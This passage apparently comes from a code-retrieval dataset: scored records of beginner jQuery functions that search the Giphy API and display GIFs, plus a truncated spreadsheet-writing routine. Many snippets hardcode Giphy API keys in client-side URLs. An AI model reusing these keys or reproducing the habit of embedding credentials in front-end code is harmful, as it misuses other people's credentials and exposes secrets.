\"&api_key=kJhL86uAk1p6aBYOajQH6RZmGZX0R6cb&limit=\"+limitUpto;\n\n // Creating an AJAX call for the specific GIF button being clicked\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n\n console.log(queryURL);\n\n // console.log(response);\n // storing the data from the AJAX request in the results variable\n var results = response.data;\n\n // Looping through each result item -- only 10 times\n for (var i = 0; i < results.length; i++) {\n\n // Creating a div to hold the movie\n var newGIFDiv = $(\"<div class='newGIF'>\");\n\n // Storing the rating data\n var rating = results[i].rating;\n\n // Creating an element to have the rating displayed\n var pOne = $(\"<p>\").text(\"Rating: \" + rating);\n\n // Displaying the rating\n newGIFDiv.append(pOne);\n\n // Storing the release year\n var title = results[i].title;\n\n // Creating an element to hold the title\n var pTwo = $(\"<p>\").text(\"Title: \" + title);\n\n // Displaying the Title\n newGIFDiv.append(pTwo);\n\n // Storing the source_tld\n var from_source = results[i].source_tld;\n\n // Creating an element to hold the plot\n var pThree = $(\"<p>\").text(\"Source: \" + from_source);\n\n // Appending the plot\n newGIFDiv.append(pThree);\n\n // Retrieving the URL for the image\n var imgURL = results[i].images.fixed_height.url;\n\n // Creating an element to hold the image\n var image = $(\"<img>\");\n image.attr(\"src\", imgURL);\n\n // Appending the image\n image.append($(\"<p>\"));\n newGIFDiv.append(image);\n newGIFDiv.attr(\"data-gif\", imgURL);\n\n // Putting the entire movie above the previous movies\n $(\"#gifs-img\").prepend(newGIFDiv);\n console.log(\" attr value = \" + newGIFDiv.attr(\"data-gif\"));\n console.log($(image).attr(\"src\"));\n\n\n\n }\n // this event will check if you click on the gif, it will toggle between stop and playing\n $(\"img[src$='gif']\").on(\"click\", function () {\n var src = $(this).attr(\"src\");\n var still = $(this).attr(\"data-state\");\n if ($(this).hasClass('playing')) {\n //stop\n $(this).attr('src', src.replace(/\\.gif/i, \"_s.gif\"));\n $(this).removeClass('playing');\n console.log('stop playing ?' + $(this).attr(\"src\"));\n } else {\n //play\n $(this).addClass('playing');\n $(this).attr('src', src.replace(/\\_s.gif/i, \".gif\"));\n console.log('playing ?' + $(this).attr(\"src\"));\n }\n\n\n });\n });\n\n}", "title": "" }, { "docid": "d17c0adbceaf93a95a24c45e6b31c189", "score": "0.71745414", "text": "function displayCelebGifs(){\n $(\"#gif-display\").empty();\n\n var celeb = $(this).attr(\"data-celeb\"); \n\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n celeb + \"&api_key=VYKc4IHTOFQ8yOZuxHzMNEynw1qwrVrH\";\n \n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n console.log(response);\n var results = response.data;\n\n for (var i = 0; i < gifLimit; i++){\n var celebDiv = $(\"<div>\");\n celebDiv.addClass(\"cDiv\");\n var p = $(\"<p>\").text(\"Rating: \" + results[i].rating);\n var celebImage = $(\"<img id='cImage' height='200' width='200'>\");\n celebImage.attr(\"src\", results[i].images.fixed_width_still.url);\n celebImage.attr(\"data-state\", \"still\");\n celebImage.attr(\"data-still\", results[i].images.fixed_width_still.url);\n celebImage.attr(\"data-animate\", results[i].images.fixed_width.url);\n celebDiv.append(celebImage);\n celebDiv.append(p);\n $(\"#gif-display\").prepend(celebDiv); \n $(\"#gif-display\").css(\"border\", \"1px solid black\");\n $(\"#gif-display\").css(\"border-radius\", \"20px\");\n }\n });\n}", "title": "" }, { "docid": "56a4d5fdd2f8407b6e437d58b1f6fe67", "score": "0.7162436", "text": "function displayGifInfo(){\n\n var animal = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + animal + \"&api_key=JieGv5wIDZFcnGsN9K6EDQGFnKI2528Z&limit=10\";\n\n\n // creating an AJA call for the specific gif button being clicked\n\n $.ajax({\n url: queryURL,\n method: \"GET\" \n }).then(function(response){\n \n var results = response.data;\n\n for (var i = 0; i < results.length; i++){\n if(results[i].rating !== 'r' && results[i].rating !== \"pg-13\"){\n var gifDiv = $('<div>');\n gifDiv.attr(\"class\", \"gifPosition\");\n var rating = results[i].rating;\n var p =$(\"<p>\").text('Rating: ' + rating);\n var animalImg = $(\"<img>\");\n animalImg.attr(\"src\", results[i].images.fixed_height.url);\n animalImg.attr(\"data-still\", results[i].images.fixed_height_still.url);\n animalImg.attr(\"data-animate\", results[i].images.fixed_height.url);\n animalImg.attr(\"data-state\", \"still\");\n $(gifDiv).append(animalImg)\n animalImg.addClass(\"gifanimate\");\n };\n gifDiv.append(p);\n gifDiv.append(animalImg);\n\n $(\"#gifs-view\").prepend(gifDiv);\n }\n \n });\n }", "title": "" }, { "docid": "a25cf69a298d745f81bfd3616ec07210", "score": "0.7160039", "text": "function show_all_gifs(the_button) {\n $(\".gif_display\").empty();\n $.ajax({\n url: \"http://api.giphy.com/v1/gifs/search?q='\" + the_button + \"'&api_key=IzBmA6Dpos0EdfXIav4LTX8PYpp03Nj6&limit=12\",\n method: \"GET\"\n }).done(function(returned) {\n // Establishes the returned object to be something easier to deal with.\n var the_gifs = returned.data;\n // GO through all of the data this is returned\n the_gifs.forEach(function(gif) {\n // Make sure that the rating isn't R or PG-13\n if (gif.rating !== \"r\" && gif.rating !== \"pg-13\") {\n // Make a DIV for the GIF to be appended\n var gif_div = $(\"<div class='forGifs'>\");\n var gif_img = $(\"<img/>\");\n // Give all the attributes to the UI \n gif_img.attr({\n src: gif.images.fixed_height_small.url,\n data_still: gif.images.original_still.url,\n data_animate: gif.images.fixed_height_small.url,\n data_state: \"animate\"\n\n });\n // Append the new object to the UI\n $(gif_div).append(gif_img);\n // Add some text to the bottom that shows the Rating\n $(gif_div).append(\"<h5>Rating: \" + gif.rating.toUpperCase() + \"</h5>\");\n $(\".gif_display\").append(gif_div);\n }\n })\n })\n}", "title": "" }, { "docid": "813e77c53d538c598763458069c55c66", "score": "0.7158226", "text": "function populateGifs() {\n var gifSearch = $(this).val().trim();\n var CORSLink = \"https://cors-ut-bootcamp.herokuapp.com/\";\n var GIPHYPath = \"https://api.giphy.com/v1/gifs/\";\n var GIPHYRandom = \"random?tag=\"\n var apiKey = \"&api_key=1mwvVwbDJXA13TmnYXLJKAX0whsoKDHc\";\n var queryURL = CORSLink + GIPHYPath + GIPHYRandom + gifSearch + apiKey;\n for (var i = 0; i < 10; i++) {\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n var gifData = response.data.images;\n\n // Title of GIF\n var gifTitle = response.data.title;\n var p = $(\"<p>\");\n p.text(gifTitle);\n\n // GIF Image creation and attribute adding.\n var gifImage = $(\"<img class='img-fluid img-thumbnail'>\");\n gifImage.attr(\"src\", gifData.fixed_height_still.url);\n gifImage.attr(\"data-still\", gifData.fixed_height_still.url);\n gifImage.attr(\"data-animate\", gifData.fixed_height.url);\n gifImage.attr(\"data-state\", \"still\");\n\n //GIF Div creation.\n var gifDiv = $(\"<div>\")\n gifDiv.prepend(p)\n gifDiv.prepend(gifImage);\n $(\"#gifs\").prepend(gifDiv);\n\n //Click listener for animation/still toggling.\n $(\"#gifs > div > img\").on(\"click\", function() {\n var state = $(this).attr(\"data-state\");\n if (state === \"still\") {\n $(this).attr('src', $(this).attr(\"data-animate\"));\n $(this).attr(\"data-state\", \"animate\");\n }\n if (state === \"animate\") {\n $(this).attr('src', $(this).attr(\"data-still\"));\n $(this).attr(\"data-state\", \"still\");\n }\n }); \n });\n }\n }", "title": "" }, { "docid": "78960a50068ff8740a10186aab53d659", "score": "0.71446687", "text": "function dogGifs() {\r\n var search = $(this).attr(\"data-name\");\r\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + search + \"&api_key=ssisEaruVrcF1igPEGOT1LEyzqZkCvKZ&limit=\" + resultNum;\r\n\r\n $.ajax({\r\n url: queryURL,\r\n method: \"GET\"\r\n }).then(function (response) {\r\n //console.log(response);\r\n \r\n //save reponse data in results var\r\n var results = response.data;\r\n for (i = 0; i < resultNum; i++) {\r\n var newDogDiv = $(\"<div>\");\r\n /*Under every gif, display its rating (PG, G, so on).*/\r\n var rating = $(\"<p>\").text(\"Rating: \" + results[i].rating).addClass(\"my-0\");\r\n //this is for the attributes of each image. This will set the image to static and hold data to animate\r\n dogImage = $(\"<img>\").attr({\r\n \"src\": results[i].images.fixed_height_still.url,\r\n \"data-still\": results[i].images.fixed_height_still.url,\r\n \"data-animate\": results[i].images.fixed_height.url,\r\n \"data-state\": \"still\",\r\n \"class\": \"gif btn-outline-secondary active m-2\"\r\n });\r\n newDogDiv.addClass(\"my-3 col-lg-4\");\r\n newDogDiv.append(dogImage);\r\n newDogDiv.append(rating);\r\n $(\"#dogGifs\").append(newDogDiv);\r\n }\r\n //console.log(dogImage);\r\n //console.log (results);\r\n });\r\n\r\n }", "title": "" }, { "docid": "a77dfe8a41a27a0bccfd522395a0c8e6", "score": "0.71424156", "text": "function gifMeMore() {\n var key = \"api_key=K9B7VZVfI3exaWDJPkKk5AdqHzoUjE38\";\n var newTopic = $(this).attr(\"data-name\");\n var queryUrl = \"https://api.giphy.com/v1/gifs/search?q=\" + newTopic + \"&\" + key + \"&limit=10\";\n\n //clear out the previous button gifs\n $(\".gifs\").empty();\n\n $.ajax({\n url: queryUrl,\n method: \"GET\"\n }).then(function(response) {\n console.log(response);\n\n //for each gif, create the image\n for (var i = 0; i < response.data.length; i++) {\n var justjifs = response.data;\n var gifPic = $(\"<div>\");\n var p = $(\"<p>\");\n p.text(\"Rating: \" + justjifs[i].rating);\n var image = $(\"<img>\");\n image.attr(\"src\", justjifs[i].images.original.url);\n image.attr(\"alt\", justjifs[i].title);\n gifPic.append(p);\n gifPic.append(image);\n gifPic.addClass(\"inline-block\");\n $(\".gifs\").append(gifPic);\n }\n });\n }", "title": "" }, { "docid": "d0d9200a5d74dbbce5e4c9ec88c9b729", "score": "0.71405816", "text": "function displayGifs(){\n var button = $(this).attr(\"data-subject\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n button + \"&api_key=BkaUZZWcFij6J7AoQj3WtPb1R2p9O6V9&limit=10\";\n\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .then(function(response) {\n console.log(queryURL);\n\n console.log(response);\n // storing the data from the AJAX request in the results variable\n var results = response.data;\n\n // Looping through each result item\n for (var i = 0; i < results.length; i++) {\n\n // Creating and storing a div tag\n var buttonDiv = $(\"<div>\");\n\n // Creating a paragraph tag with the result item's rating\n var p = $(\"<p>\").text(\"Rating: \" + results[i].rating);\n\n // Creating and storing an image tag\n var buttonImage = $(\"<img>\");\n // Setting the src attribute of the image to a property pulled off the result item\n buttonImage.attr(\"src\", results[i].images.fixed_height.url);\n buttonImage.attr(\"data-still\", results[i].images.fixed_height_still.url);\n buttonImage.attr(\"data-animate\", results[i].images.fixed_height.url);\n buttonImage.attr(\"data-state\", \"animate\");\n buttonImage.addClass(\"gif\");\n // Appending the paragraph and image tag to the buttonDiv\n buttonDiv.append(p);\n buttonDiv.append(buttonImage);\n\n // Prependng the buttonDiv to the HTML page in the \"#gifs-appear-here\" div\n $(\"#gifs-appear-here\").prepend(buttonDiv);\n\n \n }\n });\n}", "title": "" }, { "docid": "8456150b4db6039546b988bc89edb09d", "score": "0.71325594", "text": "function displayGIF() {\n var animal = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + animal + \"&limit=10&api_key=lTJj9ZkaK1SV3zfcpyVEhc9Okz6T5pxC\"\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n console.log(response);\n\t\n // Emptying out previous images \n\t$(\"#image-view\").empty();\n\n\t// Creating a loop to go through the response and create an img tag with each URL\n\t\n\tfor (var j = 0; j < response.data.length; j++){\n\t var stillURL = response.data[j].images.fixed_height_still.url;\n\t var animatedURL = response.data[j].images.fixed_height.url;\n\n\t// Setting the \"still\" version of the image first\n\t\t\n\t\t$(\"#image-view\").append(\"<img src=\" + stillURL + \" data-still=\" + stillURL + \" data-animated=\" + \n\t\t\tanimatedURL +\">\")\n\t\t}\n\t});\n }", "title": "" }, { "docid": "50f7925f98218b79ce612d7b1885983a", "score": "0.71271265", "text": "function getGifs(veggie) {\n var finalURL = requestURL + veggie;\n $.ajax({ url: finalURL, method: \"GET\" }).then(function(response) {\n console.log(response);\n for (var i = 0; i < 10; i++) {\n var $gifHolder = $(\".gif-holder\");\n var $newDiv = $(\"<div>\").addClass(\"card col-sm-3\");\n $newDiv.attr(\"value\", i + ext);\n var $newImg = $(\"<img>\").addClass(\"card-img-top\");\n $newImg.attr(\"data-id\", i + ext);\n var $newDivBody = $(\"<div>\").addClass(\"card-body\");\n var $newP = $(\"<p>\").addClass(\"card-text\");\n var $newP1 = $(\"<p>\").addClass(\"card-text\");\n var $newP2 = $(\"<p>\").addClass(\"card-text\");\n $newImg.attr(\"src\", response.data[i].images.downsized_still.url);\n $newP.text(\"Rating: \" + response.data[i].rating);\n $newP1.text(\"Title: \" + response.data[i].title);\n if (response.data[i].username === \"\") {\n $newP2.text(\"Username: Unknown\");\n } else {\n $newP2.text(\"Username: \" + response.data[i].username);\n }\n $newImg.appendTo($newDiv);\n $newP.appendTo($newDivBody);\n $newP1.appendTo($newDivBody);\n $newP2.appendTo($newDivBody);\n $newDivBody.appendTo($newDiv);\n $gifHolder.prepend($newDiv);\n gifUrlArray[i + ext] = [\n response.data[i].images.downsized_still.url,\n response.data[i].images.original.webp\n ];\n }\n ext += 10;\n });\n}", "title": "" }, { "docid": "c09c35ee18e82fe3012c942ad5daaade", "score": "0.7126285", "text": "function renderGifs(data) {\n $(\"#topics-view\").empty();\n\n data.forEach(function(element) {\n var newGif = $(\"<img>\")\n .attr({\n src: element.images.fixed_height_small_still.url,\n \"data-still-src\": element.images.fixed_height_small_still.url,\n \"data-animate-src\": element.images.fixed_height_small.url,\n \"data-state\": \"still\"\n })\n .addClass(\"gifContainer still\");\n\n $(\"#topics-view\").append(newGif);\n });\n addClickHandlerForGifs();\n }", "title": "" }, { "docid": "2f902b7f6c8139849bb345a5829c3c60", "score": "0.71209306", "text": "function displayPlayer() {\n\n $(\"#players-view\").empty(); //Empty the div containing the gifs before charging new ones\n\n var player = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + player + \"&api_key=OiUNPJQFujSPd8lDgsIQJHSMtC19w5La&limit=10\";\n\n console.log(queryURL);\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n var results = response.data; //The result of the Get queryURL is put in an array\n\n for (var i = 0; i < results.length; i++) { //Go through the whole array\n\n var playerDiv = $(\"<div class='player'>\"); //new div to display the rating and the gif\n //Store the rating from the result into a variable\n var pRating = $(\"<p>\").text(\"Rating: \" + results[i].rating);\n //new image for the gif\n var image = $(\"<img class='gif'>\");\n //image attributes \n image.attr(\"src\", results[i].images.original_still.url); //original url of the gif\n image.attr(\"data-still\", results[i].images.original_still.url); //url for the non amimated gif\n image.attr(\"data-animate\", results[i].images.original.url); //url for the animated gif\n image.attr(\"data-state\", \"still\"); //the default state of the gif will be still\n\n //append the rating and the gif to the new div\n playerDiv.append(pRating);\n playerDiv.append(image);\n\n //and add the new div to the global one that contains all the gifs\n $(\"#players-view\").prepend(playerDiv);\n }\n\n //when the user click on a gif\n $(\".gif\").on(\"click\", function() {\n\n var state = $(this).attr(\"data-state\"); //capture the state of the gif\n\n //if the gif is still, it become animated\n if (state === \"still\") {\n $(this).attr(\"src\", $(this).attr(\"data-animate\")); //choose the corresponding url \n $(this).attr(\"data-state\", \"animate\"); //change the state to animate\n } else { //if it's animated, it become still\n $(this).attr(\"src\", $(this).attr(\"data-still\")); //choose the corresponding url \n $(this).attr(\"data-state\", \"still\"); //change the state to still\n }\n });\n\n\n });\n }", "title": "" }, { "docid": "77410051041ecad30acb8e8e4db0caa1", "score": "0.71168095", "text": "function displayGif (){\n\n\t\t//clears gifArea div\n\t\t$(\"#gifArea\").empty();\n\n\t\tvar elementTitle = $(this).data(\"name\");\n\t\t//replaces spaces in titles with + for easier searching\n\n\t\telementTitle=elementTitle.replace(/ /g,'+')\n\t\tconsole.log(elementTitle);\n\n\t\t//url from where data is retrieved. Limit is set to 10 gifs\n\t\tvar queryURL= \"https://api.giphy.com/v1/gifs/search?q=\"+elementTitle+\"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n\t\t$.ajax({\n\t\t\turl: queryURL,\n\t\t\tmethod:\"GET\"\n\n\t\t//performs this function when ajax commands are complete\t\t\t\n\t\t}).done(function(response){\n\t\t\tconsole.log(response);\n\t\t\tfor (var i=0; i<response.data.length; i++){\n\t\t\t\tvar holder = $(\"<div>\");\n\t\t\t\tholder.addClass(\"holder\");\n\n\t\t\t\t//stores rating data and initial image as still\n\t\t\t\tvar rating=$(\"<div>\"+\"Rating: \"+ response.data[i].rating + \"</div>\");\n\t\t\t\tvar image=$(\"<img>\").attr(\"src\", response.data[i].images.fixed_height_still.url);\n\t\t\t\timage.addClass(\"image\");\n\t\t\t\timage.attr(\"data-type\", \"still\");\n\n\t\t\t\t//saves dynamic and static gif URLs\n\t\t\t\timage.attr(\"data-still\", response.data[i].images.fixed_height_still.url);\n\t\t\t\timage.attr(\"data-dynamic\", response.data[i].images.fixed_height.url);\n\n\t\t\t\t//appends rating info and still image to html\n\t\t\t\tholder.append(rating);\n\t\t\t\tholder.append(image);\n\t\t\t\t$(\"#gifArea\").append(holder);\n\t\t\t}\n\t\t\t\n\t\t\t//initiates the moving gif once clicked\n\t\t\t$(\".image\").on(\"click\",function(){\n\t\t\tconsole.log(\"click\");\n\t\t\tvar state=$(this).attr(\"data-type\")\n\t\t\tconsole.log(state);\n\n\t\t\t//if the image is still, when it's clicked, change its src url to the dynamic link\n\t\t\tif (state===\"still\"){\n\t\t\t\t$(this).attr(\"src\", $(this).attr(\"data-dynamic\"));\n\t\t\t\tconsole.log($(this).attr(\"data-dynamic\"));\n\t\t\t\t$(this).attr(\"data-type\",\"dynamic\");\n\t\t\t}\n\t\t\t//if the image is dynamic, when it's clicked, change its src url to the still link\n\t\t\telse{\n\t\t\t\t$(this).attr(\"src\", $(this).attr(\"data-still\"));\n\t\t\t\t$(this).attr(\"data-type\",\"still\");\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t}", "title": "" }, { "docid": "cdf1a6ee70e5dd3819460b460de52fa8", "score": "0.71151775", "text": "function displayGif() {\n\n $(\"#gif-box\").empty();\n\n var gifName = $(this).attr(\"data-name\");\n\n $.get(\"http://api.giphy.com/v1/gifs/search?q=\" + gifName + \"&api_key=nf5xbhF78wvJVnNt6j0vQ9XrNgNlkPL9&limit=10\")\n .done(function (response) {\n console.log(\"data is displaying\", response);\n\n // results equals the entire API data\n var results = response.data;\n\n for (let i = 0; i < results.length; i++) {\n console.log(results.length);\n\n var gifDiv = $(\"<div>\");\n\n var rating = results[i].rating;\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n\n var foodImage = $(\"<img>\");\n foodImage.attr(\"src\", results[i].images.fixed_height_still.url);\n foodImage.attr(\"data-still\", results[i].images.fixed_height_still.url);\n foodImage.attr(\"data-animate\", results[i].images.fixed_height.url);\n foodImage.attr(\"data-state\", \"still\");\n foodImage.addClass(\"move\");\n\n gifDiv.prepend(p);\n gifDiv.prepend(foodImage);\n $(\"#gif-box\").append(gifDiv);\n }\n $(\".move\").on(\"click\", function () {\n var state = $(this).attr(\"data-state\");\n if (state === \"still\") {\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n $(this).attr(\"data-state\", \"animate\");\n }\n else {\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n $(this).attr(\"data-state\", \"still\");\n }\n });\n });\n }", "title": "" }, { "docid": "5041c64bdfa9fc10f0960fb217785dad", "score": "0.7113695", "text": "function displayGifs(queryURL, isFavorite){\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n console.log(response);\n\n // an counter for total numer of gifs added (helps for making rows in html)\n var numOfGifs = 0;\n\n // keep track of the current row we are writing to\n var currentRow;\n\n\n //write the data to an array\n var results = response.data;\n console.log(\"the number of results \" + results.length);\n\n //We need to cycle through all three results\n for (i = 0; i < results.length; i++) {\n // We need to get the rating\n var gifRating = results[i].rating;\n gifRating = gifRating.toUpperCase();\n // Get the title\n var gifTitle = results[i].title;\n console.log(\"the rating \" + gifRating);\n console.log(\"the title \" + gifTitle);\n //start the display as still\n var isStatic = true;\n // We need to get the stil image\n var stillUrl = results[i].images.fixed_width_still.url;\n console.log(\"the still url \" + stillUrl);\n // we need to get the animated image\n var animatedUrl = results[i].images.fixed_width.url;\n console.log(\"the animated url \" + animatedUrl);\n\n //create the HTML\n //create a row every three images\n if (numOfGifs%3 === 0) {\n console.log(\"creating row \" + i);\n currentRow = $(\"<div>\");\n currentRow.attr(\"class\", \"row image-row\");\n\n if (isFavorite === \"true\")\n {\n // write to animal-view\n $(\"#favorite-animal-view\").append(currentRow);\n }\n else{\n $(\"#animal-view\").prepend(currentRow);\n }\n }\n // create a column\n var col = $(\"<div>\");\n col.attr(\"class\", \"col-md-4\");\n currentRow.append(col);\n\n // create a card\n var card = $(\"<div>\");\n card.attr(\"class\", 'card');\n col.append(card);\n\n //create a new image tag\n var stillImage = $(\"<img>\");\n stillImage.attr(\"src\", stillUrl);\n stillImage.attr(\"data-state\", isStatic);\n stillImage.attr(\"class\", \"animalImage card-img-top\");\n\n // Save this data for later\n stillImage.attr(\"data-stillUrl\", stillUrl);\n stillImage.attr(\"data-animatedUrl\", animatedUrl);\n\n card.append(stillImage);\n\n // create the card body\n var body = $(\"<div>\");\n body.attr(\"class\", \"card-body\");\n card.append(body);\n var title = $(\"<h5>\");\n title.attr(\"class\", \"card-title\");\n title.text(gifTitle);\n body.append(title);\n var cardText = $(\"<p>\");\n cardText.attr(\"class\", \"card-text\");\n cardText.text(\"Rating: \" + gifRating);\n body.append(cardText);\n var aButton = $(\"<a>\");\n aButton.attr(\"data-id\", results[i].id);\n console.log(\"the id is \" + results[i].id);\n aButton.attr(\"href\", \"#\");\n\n // if this is in the normal display, create a add button\n if (isFavorite === \"false\")\n {\n aButton.attr(\"class\", \"btn btn-secondary btn-sm favoriteButton\");\n aButton.html(\"&#10003 Add to Favorites\");\n } else\n // if this is the favorite display, create a delete button\n {\n aButton.attr(\"class\", \"btn btn-secondary btn-sm deleteButton\");\n //var delButtonLabel = \"<i class=\\\"fa fa-close\\\" style=\\\"font-size:36px\\\"></i>\";\n var delButtonLabel = \"X Delete from Favorites\";\n aButton.html(delButtonLabel);\n }\n body.append(aButton);\n // increase the number of gifs displayed\n numOfGifs++;\n \n };\n\n // listen to the gif for an onclick to animate or still the image\n $(\".animalImage\").on(\"click\", function () {\n\n var state = $(this).attr(\"data-state\");\n console.log(\"We clicked a animal \" + state);\n // change from static to moving\n if (eval(state)) {\n var url = $(this).attr(\"data-animatedUrl\");\n $(this).attr(\"src\", url);\n $(this).attr(\"data-state\", false);\n }\n // change from moving to static\n else {\n var url = $(this).attr(\"data-stillUrl\");\n $(this).attr(\"src\", url);\n $(this).attr(\"data-state\", true);\n }\n }); //end of click\n\n }); // end of then\n}", "title": "" }, { "docid": "349b334b442f9a76a115ee316147a5d8", "score": "0.7111417", "text": "function fetchAnimalGifs() {\n // Get the animal name from the button clicked\n var animalName = $(this).attr(\"data-animal\");\n var animalStr = animalName.split(\" \").join(\"+\");\n\n // Construct the Giphy URL\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + animalStr +\n \"&rating=pg-13&limit=20&api_key=dc6zaTOxFJmzC\";\n\n // Make the AJAX call to the Giphy API\n $.ajax({\n method: \"GET\",\n url: queryURL,\n })\n .done(function( result ) {\n // Get the results array\n var dataArray = result.data;\n\n // Create and display div elements for each of the returned Gifs\n $(\"#gifPanel\").empty();\n for (var i = 0; i < dataArray.length; i++) {\n var newDiv = $(\"<div>\");\n newDiv.addClass(\"animalGif\");\n\n var newRating = $(\"<h2>\").html(\"Rating: \" + dataArray[i].rating);\n newDiv.append(newRating);\n\n var newImg = $(\"<img>\");\n newImg.attr(\"src\", dataArray[i].images.fixed_height_still.url);\n newImg.attr(\"data-still\", dataArray[i].images.fixed_height_still.url);\n newImg.attr(\"data-animate\", dataArray[i].images.fixed_height.url);\n newImg.attr(\"data-state\", \"still\");\n newDiv.append(newImg);\n\n // Append the new Gifs to the gifPanel\n $(\"#gifPanel\").append(newDiv);\n }\n });\n}", "title": "" }, { "docid": "49d21f506445d5b526a53b50d1b90ecd", "score": "0.71095383", "text": "function ajaxcall(searchString) {\n\n\n var geturl = \"https://api.giphy.com/v1/gifs/search?q=\" + searchString + \"&api_key=\" + api_key;\n // Ajax \"GET\" method for giphys related to my search string\n\n $.ajax({\n method: 'GET',\n url: geturl\n }).then(function (response) {\n console.log(response);\n for (var i = 0; i < response.data.length; i++) {\n var gif = response.data[i].images.fixed_height.url;\n var gifdiv = '<div><img src = ' + gif + '></div>';\n $('#giphys').append(gifdiv);\n }\n });\n }", "title": "" }, { "docid": "ae7d982fc32f2f819740cada6d349bb2", "score": "0.71072054", "text": "function getGif() {\n $(\"button\").on(\"click\", function(event) {\n event.preventDefault();\n\n var category=$(this).text();\n \n console.log(category);\n\n var queryURL= \"https://api.giphy.com/v1/gifs/search?q=\" + category + \"&api_key=0X1723gch64JOwcZRRXpXZ6qTmyJQDuY&limit=10\";\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n\n var results=response.data; \n console.log(results.length); \n\n\n for (var j=0; j<results.length-1; j++) {\n\n console.log(results[j].images.fixed_width_still.url);\n\n var placeholder=$(\"<div>\").addClass(\"gifstyle card\");\n\n var p=$(\"<h4>\").addClass(\"card-title\");\n p.text(\"Rating: \" + results[j].rating);\n\n var image=$(\"<img>\").addClass(\"card-image-top change\").attr(\"alt\", \"music gif\" + j );\n image.attr(\"data-state\", \"animate\");\n image.attr(\"src\", results[j].images.fixed_width.url);\n image.attr(\"data-animate\", results[j].images.fixed_width.url);\n image.attr(\"data-still\", results[j].images.fixed_width_still.url);\n\n placeholder.append(image).append(p);\n\n $(\"#gifs\").prepend(placeholder);\n\n console.log(placeholder.html());\n\n };\n\n }); //response\n\n }); //button on-click\n\n\n }", "title": "" }, { "docid": "78713529457b352fa50a0000fbfbc979", "score": "0.7105965", "text": "function createGIFs() {\n //\n $(\"#gifContainer\").empty();\n let gifAmount = 0;\n\n console.log(\"DisplayTastyGIFs Function\");\n console.log(gifSearch);\n\n //API Key for giphy.com\n let apiKey = \"jSNwEu8AaYEGy9B8SpoaztT8M3KsQrrO\";\n let testAPIKey = \"dc6zaTOxFJmzC\";\n \n\n //create URL\n let queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + gifSearch + \"&api_key=\" + apiKey + \"&limit=10\";\n\n console.log(queryURL);\n\n //AJAX method\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n\n .then(function(response) {\n\n // // // Create new row if 6 pictures are in the first one\n for (let i = 0; i < 2; i++) {\n let row = $(\"<div>\").addClass(\"row\")\n\n for (let j = 0; j < 5; j++) {\n\n console.log(response)\n let gifDiv = $(\"<div>\");\n gifDiv.addClass(\"col\");\n\n // // Creating and storing an image tag\n let gifImage = $(\"<img>\");\n\n // // List of attributes added to each gif\n gifImage.attr(\"src\", response.data[gifAmount].images.fixed_width_still.url);\n gifImage.attr(\"data-still\",response.data[gifAmount].images.fixed_width_still.url);\n gifImage.attr(\"data-animate\",response.data[gifAmount].images.fixed_width.url);\n gifImage.attr(\"data-state\",\"still\");\n // // Class added to each gif\n gifImage.addClass(\"gif\");\n \n // // Prepending the catImage to the images div\n $(gifDiv).append(gifImage);\n\n // // Append rating under the GIF\n $(gifDiv).append(\"<br>\");\n\n // // Append rating and GIF to the row\n $(gifDiv).append(\"GIF Rating is: \" + response.data[gifAmount].rating);\n $(row).append(gifDiv);\n\n gifAmount++;\n }\n\n // Append row to container\n $(\"#gifContainer\").append(row);\n }\n });\n }", "title": "" } ]
8a79d50cc8f41e560c5c2003db30a49d
TODO: something useful this is a stub
[ { "docid": "6206976a77cb0f271d7d3fce1e71caa4", "score": "0.0", "text": "function write_ws_bin_cell(ba, cell, R, C, opts, ws) {\n\tif(cell.v === undefined) return \"\";\n\tvar vv = \"\";\n\tswitch(cell.t) {\n\t\tcase 'b': vv = cell.v ? \"1\" : \"0\"; break;\n\t\tcase 'd': // no BrtCellDate :(\n\t\t\tcell = dup(cell);\n\t\t\tcell.z = cell.z || SSF._table[14];\n\t\t\tcell.v = datenum(parseDate(cell.v)); cell.t = 'n';\n\t\t\tbreak;\n\t\t/* falls through */\n\t\tcase 'n': case 'e': vv = ''+cell.v; break;\n\t\tdefault: vv = cell.v; break;\n\t}\n\tvar o = ({r:R, c:C});\n\t/* TODO: cell style */\n\to.s = get_cell_style(opts.cellXfs, cell, opts);\n\tif(cell.l) ws['!links'].push([encode_cell(o), cell.l]);\n\tif(cell.c) ws['!comments'].push([encode_cell(o), cell.c]);\n\tswitch(cell.t) {\n\t\tcase 's': case 'str':\n\t\t\tif(opts.bookSST) {\n\t\t\t\tvv = get_sst_id(opts.Strings, (cell.v), opts.revStrings);\n\t\t\t\to.t = \"s\"; o.v = vv;\n\t\t\t\twrite_record(ba, \"BrtCellIsst\", write_BrtCellIsst(cell, o));\n\t\t\t} else {\n\t\t\t\to.t = \"str\";\n\t\t\t\twrite_record(ba, \"BrtCellSt\", write_BrtCellSt(cell, o));\n\t\t\t}\n\t\t\treturn;\n\t\tcase 'n':\n\t\t\t/* TODO: determine threshold for Real vs RK */\n\t\t\tif(cell.v == (cell.v | 0) && cell.v > -1000 && cell.v < 1000) write_record(ba, \"BrtCellRk\", write_BrtCellRk(cell, o));\n\t\t\telse write_record(ba, 